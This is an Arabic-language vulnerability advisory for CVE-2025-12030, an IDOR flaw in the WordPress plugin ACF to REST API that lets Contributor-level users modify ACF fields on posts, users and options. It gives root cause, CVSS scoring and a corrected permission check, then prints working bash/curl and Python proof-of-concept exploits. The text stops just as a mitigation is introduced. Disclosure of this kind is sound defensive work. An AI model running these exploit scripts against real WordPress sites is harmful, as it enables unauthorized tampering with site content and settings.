
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - ثغرة أمنية تتيح للمستخدمين المُصادَق عليهم بصلاحية مستوى المساهِم تعديل حقول ACF على كائنات لا يملكونها.
الكلمات المفتاحية: CVE-2025-12030، ثغرة ACF إلى REST API، IDOR، أمان ووردبريس، استغلال مصادق عليه، ثغرة إضافة ووردبريس، CWE-639، تعديل حقول ACF، تجاوز التفويض، CVE ووردبريس 2025، Advanced Custom Fields، أمان REST API
ثغرة IDOR في إضافة ACF إلى REST API لووردبريس (CVE-2025-12030) — خلل أمني يسمح للمستخدمين المصادق عليهم بصلاحية Contributor بتعديل حقول ACF على كائنات لا يملكونها.
تم اكتشاف ثغرة مرجع كائن غير مباشر غير آمن (IDOR) في إضافة ACF إلى REST API لووردبريس، والتي تسمح للمهاجمين المصادق عليهم بصلاحيات دنيا بتعديل حقول ACF عبر كامل تثبيت ووردبريس.
اكتشفها: Kai Aizen (SnailSploit)
نُشرت في: 6 يناير 2026
درجة CVSS: 4.3 (متوسطة)
CWE: CWE-639 - تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم
الإضافة: ACF to REST API
معرّف الإضافة: acf-to-rest-api
نوع الهجوم: مرجع كائن غير مباشر غير آمن (IDOR)
الصلاحيات المطلوبة: Contributor+ (هجوم مصادق عليه)
إضافة ACF to REST API لووردبريس عرضة لثغرة مرجع كائن غير مباشر غير آمن في جميع الإصدارات حتى 3.3.4 وما يشملها. يعود السبب إلى فحص صلاحيات غير كافٍ في طريقة update_item_permissions_check()، والتي تتحقق فقط من أن المستخدم الحالي يمتلك صلاحية edit_posts دون التحقق من الصلاحيات الخاصة بالكائن (مثل edit_post($id)، edit_user($id)، manage_options).
تسمح هذه الثغرة للمهاجمين المصادق عليهم بصلاحية Contributor فما فوق بـ:
manage_optionsجميع التعديلات ممكنة عبر نقاط نهاية REST API /wp-json/acf/v3/{type}/{id}.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metric | Value |
|--------|-------|
| ناقل الهجوم | شبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الامتيازات المطلوبة | منخفض (PR:L) |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | غير متغير (S:U) |
| السرية | لا شيء (C:N) |
| السلامة | منخفض (I:L) |
| التوفر | لا شيء (A:N) |
**تفصيل CVSS v3.1:**
- **ناقل الهجوم (AV):** شبكة - يمكن استغلال الثغرة عن بُعد عبر الشبكة
- **تعقيد الهجوم (AC):** منخفض - لا تتطلب الاستغلال شروطًا خاصة
- **الامتيازات المطلوبة (PR):** منخفض - يتطلب مصادقة بمستوى المساهم (Contributor)
- **تفاعل المستخدم (UI):** لا شيء - يعمل الاستغلال دون أي تفاعل من المستخدم
- **النطاق (S):** غير متغير - تؤثر الثغرة فقط على المكوّن المعرض للخطر
- **أثر السرية (C):** لا شيء - لا تسريب للمعلومات
- **أثر السلامة (I):** منخفض - تعديل غير مصرح به لحقول ACF
- **أثر التوفر (A):** لا شيء - لا تأثير على التوفر
## التفاصيل الفنية
### السبب الجذري للثغرة
توجد الثغرة في طريقة `update_item_permissions_check()` التي تقوم بتحقق غير كافٍ من الصلاحيات:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
يجب أن يتحقق التنفيذ السليم من الأذونات الخاصة بالكائن:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### نقاط النهاية القابلة للاستغلال
| نقطة النهاية | الهدف | الصلاحية المطلوبة (يجب أن تكون) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | المقالات | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | الصفحات | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | المستخدمون | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | التعليقات | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | المصطلحات | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | الخيارات | `manage_options` |
### ناقل الهجوم```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
يمكن استغلال الثغرة عبر WordPress REST API من قبل أي مستخدم مُصادَق عليه يملك دور Contributor على الأقل.
⚠️ لأغراض تعليمية واختبارات مُصرَّح بها فقط
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
إجراء فوري مطلوب:
⚠️ لا يتوفر حاليًا أي تصحيح رسمي لهذه الثغرة الأمنية.
أضِف إلى ملف functions.php الخاص بقالبك أو إلى إضافة مخصصة:```php